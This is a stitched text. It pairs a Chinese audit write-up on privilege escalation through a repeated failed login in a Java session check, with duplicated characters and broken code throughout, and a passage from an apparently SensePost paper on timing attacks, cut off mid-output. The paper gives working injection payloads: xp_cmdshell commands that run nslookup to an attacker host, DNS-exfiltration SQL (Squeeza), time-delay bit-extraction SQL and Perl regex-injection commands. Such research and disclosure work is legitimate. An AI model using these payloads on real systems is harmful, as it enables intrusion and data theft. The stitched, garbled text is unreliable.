1 ⼆二次“登陆”导致的权限提升 1.1 “登陆”的实现   登陆功能应该是Web项⽬目⾥里里⻅见到的⽐比较多的业务模块的,通常会跟session会话结合,完成对应的操 作,常⻅见的实现过程如下:   session本身是⼀一个容器器,⾥里里⾯面可以存放类似⽤用户身份等权限控制所需的元素,在对应的接⼝口完成对 应的鉴权功能。最简单的例例如如果在当前会话session中没有找到对应的登陆凭证,说明⽤用户没有登录 或者登录失效,如果找到了了证明⽤用户已经登录可执⾏行行后⾯面操作,防⽌止接⼝口的未授权访问。或者是权限细 粒度覆盖业务接⼝口,将业务相关的关键参数(例例如userid、fileid等)与当前⽤用户的身份凭证(⼀一般是 session)进⾏行行绑定,防⽌止越权操作。   正常业务场景下,⽤用户在进⾏行行身份认证后,便便使⽤用当前会话进⾏行行业务操作了了,例例如查询个⼈人信息, 进⾏行行下订单等。此时若尝试使⽤用当前会话,继续访问登陆认证接⼝口进⾏行行⼆二次“登陆”,⼜又可能会发⽣生什什么 事情呢?重复登录⼜又可能对session中的内容造成什什么样的影响呢? 1.2 ⼆二次"登陆"带来的权限提升   在某次审计过程中,发现了了这样的⼀一个有趣的安全问题,在进⾏行行身份认证后,尝试再使⽤用当前会 话,继续访问登陆认证接⼝口使⽤用错误的账号密码进⾏行行⼆二次“登陆”,然后发现当前会话的⻆角⾊色权限提升 了了,部分管理理员接⼝口可以进⾏行行访问并进⾏行行业务操作了了。以下是相关过程。   ⾸首先是登陆认证的接⼝口: @RequestMapping(value={"auth"},method=RequestMethod.POST)   ⾸首先检查⽤用户关键输⼊入(⽤用户名密码)是否为null,然后通过service层⽅方法进⾏行行⽤用户密码的有效性 检查,返回对应的user对象。如果返回的对象不不为null那么在session中存⼊入当前user对象,并且设置登 录状态loginStatus为true。否则清空当前session中的user,提示⽤用户名密码错误。简单的流程如下:   再来看⼀一下相关权限控制的安全防护:   通过拦截器器对于接⼝口的访问进⾏行行控制,结合登陆成功后的loginStatus内容,防⽌止在⾮非登陆情况下进 ⾏行行未授权访问: @ResponseBody public JsonResponse LoginInterface(String username,String password,HttpServletRequest request,HttpSession session,Model model){ if(username==null||username.toString().equals("")){ return JsonResponse.fail("请输⼊入⽤用户名!"); } if(password==null||password.toString().equals("")){ return JsonResponse.fail("请输⼊入密码!"); } //查询⽤用户 SysUser user = null; try{ user = userservice.find(username,password); }catch(Exception e){ user = null; } if(user==null||user.isEmpty()){ session.removeAttribute("user"); return JsonResponse.fail("⽤用户名密码错误!"); } session.setAttribute("user",user); session.setAttribute("loginStatus",true); return JsonResponse.succ("success"); }   查看下查询⽤用户绑卡信息的接⼝口:   可以看到这⾥里里跟管理理员admin的查询接⼝口是复⽤用的。如果当前登陆⽤用户不不是admin,则调⽤用service层 的findByUser⽅方法,返回当前⽤用户绑定的卡号信息。否则返回所有⽤用户的绑卡信息(admin管理理员查 询)。以查看下查询⽤用户绑卡信息业务为例例,相关流程如下: public class LoginedInterceptor extends HandlerInterceptorAdapter{ @Override public boolean preHandle(HttpServletRequest request,HttpServletResponse response,Object handler) throws Exception{ HttpSession session = request.getSession(); boolean loginStatus = session.getAttribute(SystemBaseConstant.LOGIN_STATUS); if(loginStatus==null||"".equals(loginStatus)||!loginStatus){ //如果登陆态loginStatus不不为true,同样也返回登陆⻚页⾯面 request.getRequestDispathcer("/login").forward(request,response); return false; } } return true; } @RequestMapping({"/cardInfo"}) public JsonResponse UserQuery(HttpSession session){ User user = session.getAttribute("user"); if(!user.getUserName.equals("admin")&&user!=null){ CardInfo info = cardservice.findByUser(user); }else{ CardInfo info = cardservice.findAll(); } return JsonResponse.res(info); }   这么梳理理下来乍⼀一看还是合理理的,业务接⼝口在⾮非登陆状态下不不可未授权访问,同时获取业务数据时 候与当前会话的⽤用户⻆角⾊色进⾏行行了了绑定,防⽌止通过类似userid=xxx的⽅方式越权查看别⼈人的卡号信息。   有⼀一个关键点,在查询⽤用户绑卡信息的接⼝口,这⾥里里默认认为当前是可以从当前会话中取得到user, 当user=null的时候,不不满⾜足if条件,此时直接查询返回所有⽤用户的绑卡信息:   那么追溯到啊user的初始化,是在登陆成功后存储到session容器器中的:   因为登陆成功后,才会把user存储到session容器器中,同时虽然⾮非登陆状态时user为null,也满⾜足直 接查询返回所有⽤用户的绑卡信息(admin权限)的条件,但是由于此时loginStatus为⾮非登陆状态,在拦 截器器的作⽤用下并不不能满⾜足接⼝口业务的访问。这么⼀一看逻辑好像没啥⼤大问题。   这⾥里里整个过程都是跟登陆以及会话相关的,上述的所有场景都是建⽴立在⼀一次普通⽤用户登陆的场景下 去讨论的。那么如果⼆二次“登陆”的情况下,会是怎么样⼀一样场景呢。   ⾸首先假设以tkswifty⽤用户进⾏行行登陆,当前会话cookie为:   登陆成功后,此时session容器器的存储内容为: if(!user.getUserName.equals("admin")&&user!=null){ CardInfo info = cardservice.findByUser(user); }else{ CardInfo info = cardservice.findAll(); } //查询⽤用户 SysUser user = null; try{ user = userservice.find(username,password); }catch(Exception e){ user = null; } if(user==null||user.isEmpty()){ session.removeAttribute("user"); return JsonResponse.fail("⽤用户名密码错误!"); } session.setAttribute("user",user); session.setAttribute("loginStatus",true); JSESSIONID=19997B1355BFFF12CAD862232C273505   此时访问/cardInfo接⼝口,应该是只能查询到tkswifty本身的卡号绑定信息的。   此时做如下操作,继续使⽤用刚刚记录的会话cookie: JSESSIONID=19997B1355BFFF12CAD862232C273505,使⽤用不不存在的⽤用户sec-in以及随意密码进⾏行行 登录:   很明显此时调⽤用userservice.find(username,password)返回的结果应该为null(没有sec-in这个账户 信息),那么根据登陆逻辑,会默认把当前session中的user清除。那么此时session容器器的存储内容 为:   这⾥里里根据前⾯面的分析,已经满⾜足了了直接查询返回所有⽤用户的绑卡信息(admin权限)的条件,user为 null,并且此时我们的账户状态loginStatus为true,拦截器器认为这是⼀一个登陆的合法请求。那么此时会话 ⾥里里的⽤用户就处于⼀一种游离态了了,并且其已经达到了了⼀一个权限提升的效果,再次访问/cardInfo接⼝口,此时 应该会返回所有⽤用户的绑卡信息了了。⼤大致的攻击利利⽤用流程如下: 1.3 修复及思考   整个过程还是⽐比较“诡异”,在开发过程中并没有对上述的⼆二次“登陆”场景考虑,结合种种条件,导致 了了越权问题。在业务开发过程中还是⽐比较值得注意的: ⾮非空判断的时机   上述问题很多地⽅方均存在⾮非空判断的逻辑,尤其是在查询接⼝口/cardInfo中: loginStatus=true user=封装tkswifty⽤用户信息的Bean if(user==null||user.isEmpty()){ session.removeAttribute("user"); return JsonResponse.fail("⽤用户名密码错误!"); } loginStatus=true user=null   这⾥里里⾮非空判断的位置是值得考究的,如果是如下的逻辑,那么就不不会存在上述的缺陷了了: session容器器存储属性   session作为⼀一个容器器辅助进⾏行行权限校验是很常⻅见的⼀一种使⽤用⽅方式,但是属性是否冗余,不不同情景下 如何创建销毁同样也值得考量量。   例例如上述缺陷,loginStatus是否可以由user代替。如果每次登陆校验成功后均会有⼀一个user对象⼀一 ⼀一对应,那么拦截其的代码修改如下,便便可以达到防护效果:   同时也避免了了上述的游离态的⽤用户,解决了了对应的安全缺陷。   再者loginStatus可能业务需要,例例如涉及到跨平台架构等⽆无法由user代替,那么在多账号同⼀一会话 登陆时,若登陆失败也需及时修改当前会话的登陆认证状态。⽽而不不是仅仅清除⽤用户user即可了了: if(!user.getUserName.equals("admin")&&user!=null){ CardInfo info = cardservice.findByUser(user); }else{ CardInfo info = cardservice.findAll(); } if(user!=null){ //业务处理理 }else{ //⽆无法绑定对话属性,抛出异常 } User users = session.getAttribute("user"); if(user==null||user.isEmpty()){ //如果登陆态loginStatus不不为true,同样也返回登陆⻚页⾯面 request.getRequestDispathcer("/login").forward(request,response); return false; } if(user==null||user.isEmpty()){ session.removeAttribute("user"); session.removeAttribute("loginStatus"); return JsonResponse.fail("⽤用户名密码错误!"); }   最后,在进⾏行行身份认证后,尝试再使⽤用当前会话,继续访问登陆认证接⼝口使⽤用错误的账号密码进⾏行行 ⼆二次“登陆”,这种业务场景的确很多时候在⿊黑盒⽩白盒测试中经常会遗漏漏,也是个挖掘和审计的思路路,毕 竟越复杂的设计、越多的参数,往往可能暗藏不不少业务逻辑问题。
pdf
It’s all about the timing. . . Haroon Meer and Marco Slaviero {haroon,marco}@sensepost.com SensePost Abstract This paper is broken up into several distinct parts, all related loosely to timing and its role in information se- curity today. While timing has long been recognized as an important component in the crypt-analysts arse- nal, it has not featured very prominently in the domain of Application Security Testing. This paper aims at highlighting some of the areas in which timing can be used with great effect, where traditional avenues fail. In this paper, a brief overview of previous timing attacks is provided, the use of timing as a covert channel is examined and the effectiveness of careful timing during traditional web application and SQL injection attacks is demonstrated. The use of Cross Site Timing in bypass- ing the Same Origin policy is explored as we believe the technique has interesting possibilities for turning innocent browsers into bot-nets aimed at, for instance, brute-force attacks against third party web-sites. 1 Introduction The movement of applications onto the Web has not removed old threats, it has perhaps just coated them a little with the veneer of AJAX and pastel colours. Underneath, the old issues are still present. In this paper, we examine one really ancient class of vulner- abilities, timing attacks, and carry to its logical con- clusion the combination of malicious websites, innocent victims, JavaScript and a healthy dose of timing mea- surements. Occasionally the websites are not malicious and the victims not entirely innocent, but the timing measurements remain throughout. We start with a background on timing attacks in Section 2, and discuss timing as a covert channel in Section 3. Section 4 is lengthy and shows how the mi- gration from regular DNS tunnels to timing channels reduce the bandwidth of output retrieval in SQL injec- tion, but also reduce the requirements placed on the targeted database. In Section 5 we discuss using timing to enumerate users in a web application using crypto de- vices and examine the intersection between timing and privacy violations in Section 6. Recent attacks called ‘cross-site timing’ are dealt with in Section 7 and fur- ther discussions on this attack are presented in Sec- tion 8. Finally, we conclude in Section 9. 2 Background Timing attacks are not new. It seems that with each successive generation of computing technologies and se- curity techniques, timing attacks have appeared that partially or entirely circumvent protections built to limit more obvious attack vectors. Classified as a side-channel attack, timing attacks are grouped with power and ra- diation analysis in that they exploit side-effects of the system under observation, rather than directly attempt- ing to overcome the system’s security mechanisms. Of- ten the targeted system is one of a cryptographic na- ture; hence many timing attacks to date have focused on techniques for recovery of cryptographic keys. 1 Kocher’s attack against implementations of Diffie- Hellman [4] and RSA [5] exploited timing differences to recover bits from the secret key [2]. Similarly, Percival showed that processors that support Hyper-Threading are vulnerable to a cache miss timing attack, whereby a malicious process running alongside a victim process can infer information about the operations of the victim process, based on the pattern of cache misses that were detected through timing differences. It was further pos- sible to associate operations with bits in a secret key, leading to the leaking of about 320 bits in a 512-bit key [6]. Of course, timing attacks over networks were emi- nently possible, even with the added noise of latency and remote processor load. Again, the target was the derivation of secret keys. In an attack against the Open- SSL library [7], it was shown that a network-based at- tacker could derive the secret key by crafting specific responses in the SSL handshake and measuring time differences, because OpenSSL did not implement con- stant time decryption of RSA [3]. A second network- based attack against the newer AES algorithm showed how inherent flaws in the algorithm left it susceptible to a timing attack that permitted the remote derivation of a complete key [8]. Turning away from key-focused attacks, Felten and Schneider demonstrated how timing attacks could be used to snoop on Internet users’ browsing histories [9]. Their paper discussed four examples of cache-based tim- 1Power and radiation analysis tends to be used on hardware devices such as smart-cards [1, 2], and requires special tools and physical access [3]. 1 ing attacks: Web caching Used Java- or JavaScript-based timings to detect if a given page was in the browser’s cache, inferring that it had been visited before. Two technique were demonstrated for determin- ing threshold values depending on whether the time distribution of hits and misses was known or not. En extension of this attack showed how a server-side application could detect timing differ- ences without any client-side Java or JavaScript. DNS caching Used a Java applet to execute DNS que- ries; by measuring the time difference it was pos- sible to determine if the domain name was in the DNS cache implying that the user had visited the site. Multi-level caching Both DNS and HTTP request are often cached at multiple levels (consider cach- ing DNS and HTTPS proxies). An attacker can determine if users share a common cache, by ap- ply techniques similar to the attacks against the browser’s cache. Cache cookies The notion of a ‘cache cookie’ was in- troduced in the paper, which describes a method of storing a permanent ‘cookie’ in the browser’s cache that is accessible to any site. In 2006, JavaScript portscanners were simultaneous published at the BlackHat USA [10, 11]. Both speakers made use of JavaScript and the browsers onload and on- error features to determine if the “pinged” hosts were available and contactable. The goal of most JavaScript malware to date has been to bypass the browser’s “Same Origin Policy”, which exists to prevent a document or script loaded from one origin from accessing proper- ties of a document from loaded another origin. From the Mozilla specification: “[we consider] two pages to have the same origin if the protocol, port (if given), and host are the same for both pages” [12]. Interest- ingly enough, the model does indeed allow a script on http://store.company.com/dir/page.html to deter- mine how long a page took for any or all of the ‘failure’ resources to load. In a recent paper, Bortz, Boneh and Nandy [13] demonstrated how vulnerable common web application were, to timing attacks that allowed an attacker to de- rive information about a site, based solely on the length of time the application took to respond. In their direct attack, they could determine the validity of a candi- date username on the application’s login page, since the running time of code paths within the application were measurably different, depending on whether the candidate username was valid or not. They also intro- duced the term ‘cross-site timing’ to describe a class of attacks where an attacker used client-side JavaScript timing attacks to snoop on the victim’s profile on third party sites (their example was to determine the number of items in the victim’s online shopping cart.) Figure 1: Bird’s Eye CGI 3 Timing as a (covert) channel Most recent textbooks covering information security will make mention of timing attacks, alongside salami slicing and trap-doors. It is fairly commonplace for undergrad- uate students to field an examination question on how clever timing attacks can be used in the “real-world”. Sadly, few of the texts examined by the authors showed anything particularly clever or real-world. Although less commonly found in the wild today, poorly coded web applications cobbled together with horribly insecure Perl/Bash scripts running on top of *nix boxes and Apache were the norm a few years ago. An example our employer has used for many years in training classes was a sample network administration CGI form plucked from the web (and deliberately weak- ened). It is shown in Figure 1. The application simply passes the user supplied tar- get to the underlying operating system with an exec() / system() call. $target = $user input; print system("ping $target"); Figure 2: Code returns output The fact that this application returns the output of the command to the user, implies two things: 1. it is an attackers dream; 2. it is obviously trivial to determine that the at- tacker is executing code on the target machine. In Figure 3 a directory listing is shown after executing a command in the vulnerable CGI. Of course, each application is designed differently and most do not provide such a comfortable return channel for an attacker to view the output of his com- mands. For example, Figure 4 shows a code snippet in which arbitrary code exeuction takes places, but the output is not directly shown to the user. In such a case the attacker has several options to determine if his parameter is being passed unmolested to the system call (in order to determine if he effectively 2 Figure 3: Executing ls -al on vulnerable CGI $target = $user input; $result = ‘ping $target’; if($target = /host is up./) { print(‘‘$target is Up!’’); } Figure 4: Code does not return output has remote command execution.) Historically, a grab- bag of possibilities have been examined, ranging from writing files in the document root to calling home to inform the attacker of his success. One such technique that has often been discussed was to simply cause the application to perform some activity that would run for a sufficient period of time in order to observe how long the application took to complete within the browser. This is a classic use of timing to determine if the command executed successfully. While this technique has been used for years, we have not seen any exam- ples of this technique being actively explored. We were forced to do this however when facing a web application on a remote server which had been sufficiently hardened (in every other respect.) The server in question resided on a well firewalled DMZ which both limited access to the server and prevented the server from initiating com- munication with hosts on the Internet. To make matters worse, this box also had a read- only file system, effectively preventing the analyst from simply writing a file to the webroot. The single flaw made by the application was to use un-sanitised and user-supplied data within a regular expression search on a data-set, reproduced in Figure 5. It is clear in this example that the application is vulnerable to a regular expression injection attack. This means that by making use of Perl’s regular expression $search term = $user input; if($recordset = /$search term/ig) { do stuff(); } Figure 5: Insecure regular expression handling eval command, we were able to pass a search term to the application that was then be executed, Figure 6. Figure 6: Executing uname Robbed of alternatives to determine if the command actually did execute, the analyst opted to use timing by making use of the sleep command, shown in Figure 7. The (roughly) 20 seconds it took for the page load to complete gave sufficient proof that commands were exe- cuting on the system. However, a useful return channel was needed in order to retrieve execution output. Be- fore going ahead, we needed to determine how much timing noise was added. To this end we created a quick script to test the variance of collected times. An exam- ple of the running of this script in given in Figure 8. 3 wh00t: /customers/bh haroon$ python time poster.py [*] Command: (?{‘sleep 1‘;}) [*] Encoded: %28%3f%7b%60%73%6c%65%65%70+%31%60%3b%7d%29 [*] Sending , Got Response: HTTP/1.1 200 [*] Took 2.1775188446 secs to complete [*] Minus 1.1 sec avg response time - 1.0 [*] Command: (?{‘sleep 4‘;}) [*] Encoded: %28%3f%7b%60%73%6c%65%65%70+%34%60%3b%7d%29 [*] Sending , Got Response: HTTP/1.1 200 [*] Took 4.98084998131 secs to complete [*] Minus 1.1 sec avg response time - 4.0 [*] Command: (?{‘sleep 14‘;}) [*] Encoded: %28%3f%7b%60%73%6c%65%65%70+%31%34%60%3b%7d%29 [*] Sending , Got Response: HTTP/1.1 200 [*] Took 15.1603910923 secs to complete [*] Minus 1.1 sec avg response time - 14.0 Figure 8: Testing response time variance Figure 7: Executing sleep20 We initially assumed that this degree of confidence was a requirement for a successful attack. We will later show why this is not the case making such a channel far more reliable and far easier than imagined. It was also possible to daisy chain instances of the Perl interpreter, instead of simply running uname (or sleep). This yielded much greater control over the way commands were executed, and expanded the possibili- ties for handling execution output: (?‘sleep 10‘;) (?‘perl -e ’system(‘‘sleep’’,‘‘10’’);’‘;) Both commands are essentially the same, but the sec- ond line provides a much greater ability to control the output of commands. This lead to the following injec- tion string: 2 (?‘perl -e ’sleep(ord(substr(qx/uname/, 0,1)))’‘;) 2Character escaping is ignored in this example; real attacks would require manipulation of the string. If the injection string is broken down into smaller pieces, its function becomes clearer: 1. Run the command uname 2. Grab the first character of the response (substr)) 3. Get the ordinal of that character (ord) 4. Sleep for the duration of the ordinal (sleep) By scripting this injection string, it is trivial to ob- tain the output of any command, as shown in Figure 9. While this method does indeed work, it has some obvi- ous shortcomings: • Latency on the line (or intermittent latency on the line) will cause errors. • Our analysts fall asleep while waiting 10 minutes to get 5-character results. A solution to both issues is to get away from the ordinal value of each character and to examine each character instead as a series of bits. This requires one round in the code: 1. Run the command uname 2. Grab the first character of the response (substr)) (a) Get the ordinal binary representation of that character (b) Read the first bit of the binary representa- tion. (c) Sleep for the duration of the bit (multiplied by some attacker chosen constant) (ie. Sleep 1 * 5 if the first bit is 1, and the attacker has chosen 5 has his constant) 4 wh00t: /customers/bh haroon$ python timing.py ‘‘uname’’ [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0] seconds [*] [’S’] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0] seconds [*] [’S’, ’u’] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0, 110.0] seconds [*] [’S’, ’u’, ’n’] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0, 110.0, 79.0] seconds [*] [’S’, ’u’, ’n’, ’O’] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0, 110.0, 79.0, 83.0] seconds [*] [’S’, ’u’, ’n’, ’O’, ’S’] [*] POST built and encoded [*] Got Response: HTTP/1.1 200 [*] [83.0, 117.0, 110.0, 79.0, 83.0, 10.0] seconds [*] [’S’, ’u’, ’n’, ’O’, ’S’, ’\n’] Figure 9: Character-based timing script wh00t: /customers/bh haroon$ python oneTimeITWeb.py ‘‘uname’’ 2 oneTime - [email protected] Dont tell your webserver free from attack [*] 01010011 [’S’] [*] 01110101 [’S’, ’u’] [*] 01101110 [’S’, ’u’, ’n’] [*] 01001111 [’S’, ’u’, ’n’, ’O’] [*] 01010011 [’S’, ’u’, ’n’, ’O’, ’S’] [*] 00001010 [’S’, ’u’, ’n’, ’O’, ’S’, ’\n’] Figure 10: Bit-based timing script 5 (d) Read the next bit in the stream until all eight are done. 3. Read next character of the response and jump to Step 2 In Figure 10, the second argument given to the script caused the application to sleep two seconds for every 1-bit in the bitstream (with a zero obviously sleeping no seconds). This effectively addressed both problems raised earlier. The same command which previously ran for 8 minutes took 50 seconds and the new system was more tolerant of latency issues. For example, if latency issues began to surface as a result of network congestion or simply because the webserver was busy, the second argument to the script could be altered to a higher value, say 60 seconds. Then every 1-bit in the bitstream would cause the application to sleep 1 minute, while every 0-bit would cause the script to not sleep at all. The script regarded any amount of time above 50% of the timing factor to be a 1, meaning that latency or line noise in the 60-second time factor requires the re- sponse of a 0-bit to be delayed by at least 30 seconds to actually affect the results. We did not seek to optimise these values; we wish to merely demonstrate the ease with which they can be tuned. 4 The use of timing with SQL In- jection attacks. The explanation of SQL Injection as an attack vector is widely documented. A brief (selective) history as it per- tains to our current topic however will be discussed. In the early days of these attacks it was almost easier to lo- cate a site vulnerable to SQL Injection attacks than not. It was also fairly commonplace that the compromised SQL Server resided behind liberal firewalls, allowing the attacker to connect home from the compromised SQL Server in order to establish a useful working channel. As firewall administrators started to come to grips with data driven applications and their security archi- tectures, attackers began to find that the easy reverse TCP connections that were the basis of many reverse shells were increasingly disallowed. (Clearly the infras- tructure firewall engineers were ahead of web applica- tion developers in this regard.) This left attackers with two obvious choices: 1. Find an outbound UDP Channel outbound to de- termine whether code execution was successful. 2. Make use of timing to determine if code execution was successful. An outbound UDP channel to simply determine if code was executing was provided standard on most Microsoft OS installations by means of the ubiquitous nslookup command. If an attacker believed he was executing code through a SQL Injection string, he could simply craft his attack input to contain the following snippet of SQL: exec master..xp cmdshell(‘nslookup moooooo attacker ip’) The attacker would then monitor incoming DNS re- quests to his machine (perhaps with the use of a tool such as netcat) and if a request was seen for ‘moooooo’ would therefore know that execution of commands on the remote SQL Server was occurring. When arbitrary outbound UDP was also blocked (pesky firewall admin- istrators), the attacker simply modified his string as follows: exec master..xp cmdshell(‘nslookup moo moo moo.sensepost.com’) This way, even if the SQL Server itself was unable to make outbound DNS requests directly, its request would traverse a DNS resolver chain, and eventually some DNS server would make a request for ‘moo moo moo- .sensepost.com’ to the sensepost.com DNS server. Once the attacker submits his injection string he merely sniffs traffic to his own DNS Server to watch for the incoming request which again confirms that he is indeed execut- ing through xp cmdshell. This process is illustrated in Figure 11. A few years ago, one of the authors posted to public mailing lists on the opportunity to obtain more infor- mation than a simple confirmation of execution through what was dubbed “a poor mans DNS tunnel”. This simple cmd.exe for-loop technique made use of a SQL Injection string that ran a command on the remote server, broker the result up into words based on the spaces in the output and submitted an nslookup re- quest with each word as a sub-domain in the request. This piped all printable character responses to the at- tacker via DNS who could then view this data as before, by sniffing the traffic to his own DNS server. The second technique mentioned was to make use of timing to determine if commands had executed on the server. Much like in the earlier CGI example, we were able to use a simple command with run-times of our choosing to determine if commands were executing on the server. exec master..xp cmdshell(‘ping -c20 localhost’) Similarly, timing the amount of time taken before the application returned allowed us to determine if the com- mand ultimately succeeded. Using timing to extract Boolean data in SQL Injection has been discussed prior to this paper [14]. A simple example would be if table exists sleep(10), else sleep 0. The “poor mans DNS Tunnel” worked acceptably for simple commands like directory listings but prevented almost any serious reliable communications. To date several automatic SQL injection frameworks will hap- pily handle extracting data from the SQL Server where outbound TCP connections from the SQL Server are 6 Figure 11: DNS request traversing the look-up chain allowed [15] and a few will extract data with web ap- plication error messages [16, 17] but none have made efficient use of DNS as a channel. While some tools do offer a DNS Tunnel within their framework these tun- nels work by first uploading a binary to the machine which then acts as a DNS redirector for executed com- mand output [18]. To this end SensePost wrote a tool called Squeeza which was aimed at making SQL Injection DNS tun- neling more robust and essentially more usable. At its core, Squeeza simply does the following: 1. Through the SQL Injection entry point, execute a command or obtain DB information 2. Populate a temporary table within the DB with the results from previous step 3. Encode all of the data within the table to be DNS- safe by using hex encoding. 4. Loop through the hex encoded data breaking it up into equal-sized chunks, and issue DNS requests to the target DNS server for {random}.hex.hex- .hex. . . sensepost.com 5. Sniffs the traffic on the DNS Server, decodes it and displays it to the user in the form of an inter- active shell. Steps 1 to 4 are delivered as the payload of our injec- tion string and translates to the SQL snippet shown in Figure 12. 3 Squeeza has several settable parameters allowing us to tailor the rate at which we would like to receive the data, but its encoding system ensures that the responses are 7-bit ASCII clean. This means that this system can fairly easily be extended to include the transfer of arbitrary binary files from the target system. Combining the simple Boolean timing trick, the tim- ing tool shown in the Section 3 and Squeeza is an ob- vious progression and resulted in a python script called anotherTime.py. The snippet in Figure 13 is taken from the original anotherTime README.txt and should best serve as an explanation. Once more, the actual SQL payload delivered is relatively simple, and is given in Figure 14. 4 In Figure 14, (a) performs routine housekeeping, populating the cmd table with appropriate data (in this example, the output of our xp cmdshell command.) The SQL in part (b) creates a second table (cmd2) and populates it with the binary representation of the cmd table. The tool then makes individual requests using the SQL in (c). It holds three variables: the current line being processed, the current bit being read from 3Certain aspects of the SQL snippet are not discussed further, but observe that a random number is prepended to each request, to avoid caching issues. Also note that the formatting of the snip- pet is for readability purposes only; the SQL in, in fact, delivered as a single line of text. 4Again, note that the command has been formatted here for easy reading and is actually delivered as a single line of text. 7 declare @r as sysname,@l as sysname,@b as int, @d as int,@c as int,@a as varchar(600); select @d=count(num)from temp table; set @b=STARTLINE; while @b<=@d and @b<=ENDLINE begin set @a=(master.dbo.fn varbintohexstr(CAST((select data from temp table where num=@b) as varbinary(600)))); set @c=1; while @c< len(@a) begin select @a=stuff(@a,@c,0,’.’); set @c=@c+10; end; select @r=round(rand()*1000,0); select @l=@b; SET @a=’nslookup sp’+@l+’ ’+@r+@a+’-sqldns.sensepost.com.’; exec master..xp cmdshell @a; set @b=@b+1; end; Figure 12: Squeeza code ... Another SensePost tool [squueza] can be used to comfortably, reliably and speedily extract information when DNS is allowed out only.. but sometimes even this isnt possible.. In such a case, anotherTime is your (very very slow friend). ... [*] Enter command to run [exit to quit] hostname [*] Sending command... hostname [*] Encoding command [*] OK.. Going to read output .------------------------------------------------------------------. SensePost SQL Timing Shell [Version 0.01] [email protected] | [email protected] | [email protected] 2007 - http://www.sensepost.com - No rights reserved. SQL:\> hostname intranet .-----------------------------------------------------------------. Figure 13: anotherTime README.txt 8 (a) drop table cmd; create table cmd(data varchar(4096), num int identity(1,1)); INSERT into cmd EXEC master..xp cmdshell ’" + cmd + "’; insert into cmd values(‘theend’). (b) drop table cmd2; create table cmd2(data varchar(8000), num int identity(1,1)); declare @a as varchar(600),@b as int; set @b=1; select @a=data from cmd where num=1; while charindex(‘theend’,@a) = 0 or charindex(‘theend’,@a) is null begin set @b=@b+1; declare @c as int, @d as varchar(8000); set @c=1; set @d=‘’; while @c <= len(@a)begin set @d=@d+substring(fn replinttobitstring(ascii(substring(@a, @c, 1))),25,8); set @c=@c+1; end; select @a=data from cmd where num=@b; insert into cmd2 values(@d); end; insert into cmd2 values(’00000001’)-- (c) declare @a as varchar(8000),@b as sysname,@c as sysname, @d as int, @e as sysname; select @a=data from cmd2 where num=" + str(line) + "; select @b=substring(@a," + str(n) + ",1); set @d=" + str(delay) + " * cast(@b as int); set @e = ’00:00:’+str(@d); waitfor delay @e-- Figure 14: Squeeza code 9 the current line and the time period to delay execution whenever a 1-bit is encountered. We are then able to make use of the technique de- scribed in Section 3, to calculate 50% of the specified wait time as a positive indication of a 1-bit. The tool will automatically perform these calculations and re- turn the original output of the command. Figure 15 shows output in binary of the ipconfig tool on a target. While this process is a little slow (tests showed that Figure 15: Command execution output converted into binary the hostname command took about 70 seconds with a 2 second delay time), it should be kept in mind that the bulk of the time-constrained portion of the process can easily be multi-threaded. By sending eight concurrent requests, we should be able to read a byte every two seconds in the best case. 5 Both anotherTime.py and the original squeeza.rb tool have now been consolidated into a single tool called anotherSqueeza which accompanies this paper. Obvi- ously timing channels are much slower than DNS chan- nels due to the limited bandwidth afforded to us through the timing channel, however optimisations in this area could improve the situation. 5 Timing as an attack vector on its own Web Application analysts have for a long time cried foul against applications that returned a different error message for incorrect usernames or incorrect passwords during a login failure. The obvious side effect of this sort of behaviour was that it allowed an attacker to enumerate valid users. Tools like SensePost’s Suru and Crowbar were specifically designed to ensure that even subtle differences in the returned message will alert the analyst (Compare the error messages in Figure 16(a) and Figure 16(b)). The abundance of best-practice guides that espouse the benefits of generic error messages have led to a downtrend in the number of sites where such blatant information leakage can be found. In our testing, how- ever, we have found sites that reveal this information just as blatantly except for the fact that most of our 5Giving us South African researchers almost the same access speeds that we are accustomed to anyway! tools have not specifically been looking for the manner in which information is being leaked. A recent test on an Internet Banking website where users were forced to login using a cryptographic to- ken revealed that even though the developers went to great pains to return generic error messages when prob- lems occurred, a subtle difference was un-avoidable. For valid users, a round trip was made to the Host Security Module (HSM) device used to authenticate a user’s to- ken PIN and so valid users received an error message that reliably took 0.05 seconds longer than users who did not exist on the system at all. Armed with this information it proved fairly trivial to dump a large candidate username list into a script and let it loose on the bank’s login page while timing the server responses. A known bad username was used as a time reference to ensure that network latency did not return false results and raise hopes unnecessarily. The (admittedly) simple logic of the script is shown in Figure 17, and a sample run given in Figure 18. It was found that even across the Internet (in fact across the continent) the subtle 0.05 millisecond delay was able to reliably expose valid users on the system. In researching this article, a number of tools from well-known commercial vendors in the web application testing industry had their public literature surveyed for mention of the inclusion of timing as an attribute that was measured when performing a brute-force attack; none of the product literature indicated that this fea- ture was present. 6 Timing and its implications for Privacy In Section 2, we discussed the release of JavaScript scan- ning tools at BlackHat USA 2006, as well as the recent discovery of cross-site timing. The same origin policy enforced by the browsers can be breached by using these error conditions; a malicious site can time how long a third party site takes to load in a victim’s browser without ever getting access to the contents on the third party’s response. The simplest demonstration of this attack (along with some of the challenges that are presented to the attacker) can be demonstrated using the following sce- nario. Alice is an attacker who wishes to determine if visitors to her site are currently also logged into an ex- tremely popular site (for purposes of discussion we use LinkedIn, http://www.linkedin.com.) On her page Alice includes a tiny piece of JavaScript code to create a hidden iFrame and to redirect the iFrame to a page accessible to a user logged into LinkedIn. Alice further makes use of the onload event and date function to time how long it takes for the LinkedIn page to load. Bob, who is logged in to LinkedIn, visits Alice’s page and the malicious iframe loads his LinkedIn start page. 10 (a) Login failed with valid username (b) Login failed with invalid username Figure 16: Difference in error messages Username= next user from list() Start timer Login to site(Username) Stop timer if ((Stop timer . Start timer) > 0.5) { Start timer Login to site(.no such user.) Stop timer If(Stop timer . Start timer) > 0.5 // looks like line noise { re test(Username) } else { print (Username is Valid) } } Figure 17: Time-based username brute-force logic wh00t: /customers/bh haroon$ python t-login.py names list.txt ================================= XXXXXX web login - timing check [email protected] ================================= [*] Trying username BOB 0.0 seconds.. [*] Trying username TOM 0.0 seconds.. [*] Trying username PETER 0.0 seconds.. [*] Trying username MARCO 1.0 seconds.. Valid User! [*] Trying username BRADLEY 0.0 seconds.. [*] Trying username HAROON 0.0 